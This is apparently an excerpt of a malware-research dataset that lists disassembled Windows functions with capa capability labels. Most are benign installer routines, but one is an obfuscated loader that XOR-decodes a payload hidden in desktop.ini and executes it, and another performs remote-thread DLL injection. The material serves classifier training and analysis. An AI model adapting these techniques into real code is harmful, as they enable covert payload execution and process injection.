joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x4044b3
Capabilities:
Read .ini file

Disassembly:
int3
push ebp
mov ebp, esp
sub esp, 0x110
lea eax, [esp + 0x28]
mov dword [eax], 0x20
mov dword [eax + 0xc], 0xffffffff
push 0
push 0
push eax
push eax
push 0
cld
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
test eax, eax
jne 0x404451
push 0x1001
bnd call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
jmp 0x404467
Function at 0x401000
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x413004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x40106a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x204]
push str.Failed_to_open_process._Error_code:__lu
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x204]
push 0x10
push str.Error
push eax
push edi
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040140c
mov esp, ebp
pop ebp
ret
push esi
push 4
push 0x1000
push 0xf
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x4010af
push 0x10
push str.Error
push str.Failed_to_allocate_memory_in_target_process_
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040140c
mov esp, ebp
pop ebp
ret
push 0
push 0xf
push str.ProjectDll.dll
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4010d2
push 0x10
push str.Error
push str.Failed_to_write_DLL_path_to_target_process_
jmp 0x4010f9
push str.LoadLibraryA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x401129
push 0x10
push str.Error
push str.Failed_to_get_LoadLibraryA_address_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x8000
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040140c
mov esp, ebp
pop ebp
ret
push ebx
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x40117c
push 0x10
push str.Error
push str.Failed_to_create_remote_thread_
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x8000
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop esi
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040140c
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop ebx
pop esi
xor ecx, ebp
pop edi
call fcn.0040140c
mov esp, ebp
pop ebp
ret
Function at 0x4062ae
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00405f6e
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e004]
jne 0x40100a
repz ret
jmp fcn.00401221

Function at 0x404dbc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402623
and dword [ebp - 4], 0
cmp dword [0x42fbf0], 0
mov ebx, eax
jne 0x404e6d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x404f1e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x404f1e
push eax
call fcn.004025b1
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42fbf0], eax
call esi
push eax
call fcn.004025b1
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42fbf4], eax
call esi
push eax
call fcn.004025b1
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42fbf8], eax
call esi
push eax
call fcn.004025b1
pop ecx
mov dword [0x42fc00], eax
test eax, eax
je 0x404e6d
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004025b1
pop ecx
mov dword [0x42fbfc], eax
mov eax, dword [0x42fbfc]
cmp eax, ebx
je 0x404ec5
cmp dword [0x42fc00], ebx
je 0x404ec5
push eax
call fcn.0040262c
push dword [0x42fc00]
mov esi, eax
call fcn.0040262c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x404ec5
test edi, edi
je 0x404ec5
call esi
test eax, eax
je 0x404ebc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404ebc
test byte [ebp - 0xc], 1
jne 0x404ec5
or dword [ebp + 0x10], 0x200000
jmp 0x404efe
mov eax, dword [0x42fbf4]
cmp eax, ebx
je 0x404efe
push eax
call fcn.0040262c
pop ecx
test eax, eax
je 0x404efe
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x404efe
mov eax, dword [0x42fbf8]
cmp eax, ebx
je 0x404efe
push eax
call fcn.0040262c
pop ecx
test eax, eax
je 0x404efe
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42fbf0]
call fcn.0040262c
pop ecx
test eax, eax
je 0x404f1e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404f20
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42a080
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x42e004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x5082e4]
push ebx
push esi
mov esi, dword [0x50812c]
mov ebx, eax
cmp eax, 0x5dd
jne 0x42a0ba
push 0
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov eax, dword [0x42ec70]
call fcn.00429f40
cmp dword [0x5082e4], 0x2f
jne 0x42a0d5
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push esi
call fcn.00429f80
add esp, 4
cmp dword [0x5082e4], 0x568
pop esi
pop ebx
jne 0x42a0fe
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x401090
Capabilities:
Check if file exists
Get file attributes
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
mov dword [ebp - 4], 0xffffffff
mov dword [eax], 0xfffffff6
je 0x401167
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401167
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401167
lea ecx, [ebp + 8]
push ebx
push ecx
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [ebp + 8]
push 0
push eax
push edx
push 8
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
test ebx, ebx
je 0x40115f
push 0
push 0
push 0
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x401158
push esi
call fcn.00401000
add esp, 4
test eax, eax
je 0x401148
mov ecx, dword [esi + 0x10]
mov ax, word [esi + 0x1c]
add ecx, esi
push eax
push ecx
call fcn.00401050
add esp, 8
mov dword [ebp - 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401170
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [ebp + 8]
push esi
lea ecx, [ebp - 0x104]
push eax
push ecx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x104]
push edx
call fcn.004053a0
add esp, 4
lea eax, [ebp - 0x104]
push eax
call fcn.004053e0
add esp, 4
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 3
je 0x4011c2
cmp eax, 2
jne 0x4011f1
cmp byte [ebp - 0x103], 0x3a
jne 0x4011f1
lea edx, [ebp - 0x104]
mov esi, 1
push edx
call fcn.00401380
add esp, 4
lea eax, [ebp - 0x104]
push 0x413030
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401212
xor eax, eax
test esi, esi
setne al
add eax, 0xfffffffe
pop esi
mov esp, ebp
pop ebp
ret
neg esi
sbb esi, esi
add esi, 2
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4017f0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x417734]
test eax, eax
je 0x40183b
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 8]
push eax
push 0x413038
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [0x417734]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
add esp, 0xc
push edx
push eax
mov eax, dword [ebp + 8]
push ecx
lea edx, [ebp - 8]
push 0x416254
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401850
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 5
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov esi, eax
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x14]
push eax
push 0x41303c
push ecx
call edi
add esp, 0xc
lea edx, [ebp - 0x118]
lea eax, [ebp - 0x14]
push 0x104
push edx
push 0
push eax
call fcn.004017f0
add esp, 0x10
test eax, eax
jne 0x4018b3
lea ecx, [ebp - 0x118]
push 0x104
push ecx
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov al, byte [ebp - 0x118]
test al, al
je 0x40190f
lea edx, [ebp - 0x118]
push edx
push ebx
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40190f
mov eax, dword [0x41776c]
lea ecx, [ebp - 0x118]
test eax, eax
push ecx
je 0x4018fa
mov edx, dword [0x417768]
push eax
push 0x413048
push edx
call edi
mov eax, dword [0x417768]
add esp, 0x10
push eax
push 0
push 0x46f
push ebx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
test esi, esi
je 0x401962
push 0xfffffffffffffff4
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, eax
push edi
push ebx
call fcn.00404e50
mov edx, dword [0x417768]
add esp, 8
lea eax, [ebp - 0x14]
push 0x104
push edx
push edi
push eax
call fcn.004017f0
add esp, 0x10
test eax, eax
je 0x401953
mov ecx, dword [0x417768]
push ecx
push esi
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 2
push esi
call dword [sym.imp.USER32.dll_GetWindow]
mov esi, eax
test esi, esi
jne 0x401913
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401b00
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x100
push 0x8000
push edi
call fcn.00401470
mov ebx, dword [ebp + 0xc]
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x401b6b
mov cx, word [ebx + 0x1a]
mov dx, word [ebx + 0x18]
lea eax, [ebp - 0x10]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
test eax, eax
je 0x401b64
lea eax, [ebp - 8]
lea ecx, [ebp - 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
test eax, eax
je 0x401b64
lea edx, [ebp - 8]
lea eax, [ebp - 8]
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov cl, byte [ebx + 0x1c]
and ecx, 0x27
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401f90
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov ecx, dword [0x417794]
lea eax, [ebp - 0x104]
push esi
push eax
push 0
push 0x4130a8
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0x180
lea edx, [ebp - 0x104]
push 0x8101
push edx
call fcn.00401470
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x40204a
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push eax
push ecx
push esi
call fcn.00401540
add esp, 0xc
push esi
call fcn.00401560
add esp, 4
lea edx, [ebp - 0x214]
lea eax, [ebp - 0x104]
push 0
push edx
push eax
call sub.LZ32.dll_LZOpenFileA
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x18c]
push 0x1001
push ecx
push edx
mov esi, eax
call sub.LZ32.dll_LZOpenFileA
mov edi, eax
push edi
push esi
call sub.LZ32.dll_LZCopy
push esi
mov ebx, eax
call sub.LZ32.dll_LZClose
push edi
call sub.LZ32.dll_LZClose
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4020d0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov ecx, dword [0x417794]
lea eax, [ebp - 0x104]
push esi
push eax
push 0
push str.welcome
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x104]
push eax
push ecx
call fcn.00401f90
mov esi, eax
add esp, 0xc
test esi, esi
jle 0x402168
push edi
push 0x100
lea edx, [ebp - 0x104]
push 0x8000
push edx
call fcn.00401470
add esp, 0xc
mov edi, eax
lea eax, [esi + 1]
push eax
call fcn.0040ba70
add esp, 4
mov dword [0x417724], eax
push esi
push eax
push edi
call fcn.00401520
add esp, 0xc
push edi
call fcn.00401560
add esp, 4
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402170
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0x104
call fcn.0040ba70
add esp, 4
mov dword [0x417734], eax
push eax
mov eax, dword [0x417794]
push 0
push 0x4130bc
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov eax, dword [0x417734]
push ecx
push edx
push eax
call fcn.00401f90
add esp, 0xc
test eax, eax
jne 0x4021de
push eax
push str.Error
push str.LoadLanguage_Failed
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [0x417734]
push ecx
call fcn.0040bb20
add esp, 4
mov dword [0x417734], 0
xor eax, eax
pop ebp
ret
Function at 0x4021f0
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 8]
push edi
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x4022b8
mov edx, dword [0x417768]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 4]
lea eax, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
push edx
push eax
push 0
push 0x413108
push ecx
mov dword [ebp - 4], 0x104
mov dword [ebp - 0xc], 1
call edi
mov edx, dword [0x417768]
push edx
call esi
push eax
mov eax, dword [0x417768]
push eax
call fcn.00401ea0
mov edx, dword [0x417768]
add esp, 8
lea ecx, [ebp - 4]
mov dword [0x417780], eax
push ecx
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0xc]
push edx
push eax
push 0
push str.CommonFilesDir
push ecx
mov dword [ebp - 4], 0x104
call edi
mov edx, dword [0x417768]
push edx
call esi
push eax
mov eax, dword [0x417768]
push eax
call fcn.00401ea0
mov ecx, dword [ebp - 8]
add esp, 8
mov dword [0x417784], eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [0x417768]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [0x417768]
push eax
call esi
mov ecx, dword [0x417768]
push eax
push ecx
call fcn.00401ea0
mov edi, dword [0x417768]
mov dword [0x417788], eax
or ecx, 0xffffffff
xor eax, eax
add esp, 8
mov edx, dword [str.SYSTEM32]
repne scasb al, byte es:[edi]
dec edi
mov dword [edi], edx
mov eax, dword [0x41312c]
mov dword [edi + 4], eax
mov cx, word [0x413130]
mov word [edi + 8], cx
mov edx, dword [0x417768]
push edx
call esi
push eax
mov eax, dword [0x417768]
push eax
call fcn.00401ea0
mov ecx, dword [0x417768]
add esp, 8
mov dword [0x417790], eax
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, dword [0x417768]
push edx
call esi
push eax
mov eax, dword [0x417768]
push eax
call fcn.00401ea0
mov ecx, dword [0x417768]
add esp, 8
mov dword [0x41778c], eax
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, dword [0x417768]
cmp byte [eax + ecx - 1], 0x5c
jne 0x40238c
mov byte [eax + ecx - 1], 0
mov ecx, dword [0x417768]
push 0x10
push ecx
call fcn.00401220
add esp, 8
test eax, eax
je 0x4023be
mov edx, dword [0x417768]
push edx
call esi
push eax
mov eax, dword [0x417768]
push eax
call fcn.00401ea0
add esp, 8
mov dword [0x417794], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x417788]
mov edx, dword [0x417768]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x417768]
push str.TEMP
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x417768]
push ecx
call esi
mov edx, dword [0x417768]
push eax
push edx
call fcn.00401ea0
add esp, 8
mov dword [0x417794], eax
mov eax, dword [0x417768]
push eax
call fcn.004016a0
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402d20
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_GetDC]
push 0
mov edi, eax
call fcn.00402a60
mov ebx, dword [sym.imp.GDI32.dll_SelectObject]
add esp, 4
push eax
push edi
call ebx
lea ecx, [ebp - 8]
mov dword [ebp + 8], eax
push ecx
push 0xd
push str.InstallShield
push edi
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
mov edx, dword [ebp + 8]
push edx
push edi
call ebx
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
push edi
push esi
call dword [sym.imp.USER32.dll_ReleaseDC]
lea eax, [ebp - 0x18]
push eax
push esi
call fcn.00402a00
add esp, 4
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [ebp - 4]
mov edi, dword [ebp - 0x14]
cdq
sub eax, edx
lea ecx, [ebp - 0x18]
sar eax, 1
neg eax
add edi, eax
push ecx
push esi
mov dword [ebp - 0x14], edi
call dword [sym.imp.USER32.dll_ScreenToClient]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
add edx, 0xa
add ecx, eax
push 0xfffffffffffffffc
push esi
mov dword [ebp - 0x18], 5
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0x402aa0
push 0xfffffffffffffffc
push esi
mov dword [0x416230], eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
mov edx, dword [0x4177c8]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
push 0
push edx
mov edx, dword [ebp - 0x14]
push 0x3ff
push esi
push eax
mov eax, dword [ebp - 0x18]
push ecx
push edx
push eax
mov ebx, dword [sym.imp.USER32.dll_CreateWindowExA]
push 0x5000800b
push str.ISGlyph
push str.BUTTON
push 0
call ebx
mov ecx, dword [0x4177c8]
push 0
push ecx
push 0
push esi
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000001
push 0x416264
push str.tooltips_class32
push 0x88
mov edi, eax
call ebx
mov edx, dword [0x417768]
mov ebx, eax
mov eax, dword [0x4177c8]
push 0x104
push edx
push 0x13
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
lea ecx, [ebp - 0x34]
push ecx
push edi
call dword [sym.imp.USER32.dll_GetClientRect]
mov edx, dword [0x417768]
lea eax, [ebp - 0x44]
push eax
push 0
mov dword [ebp - 0x38], edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push 0x404
push ebx
mov dword [ebp - 0x44], 0x2c
mov dword [ebp - 0x40], 0x11
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x20], edx
call edi
push 0
push 1
push 0x401
push ebx
call edi
push esi
call fcn.00402bc0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403b10
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 0x404
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
test eax, eax
je 0x403b59
mov ecx, dword [0x4177d0]
push pe_nt_image_headers32
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edx, dword [0x4177d0]
push edx
call fcn.004012b0
mov edx, dword [0x416234]
add esp, 4
xor ecx, ecx
cmp eax, edx
sete cl
mov eax, ecx
pop ebp
ret
xor eax, eax
pop ebp
ret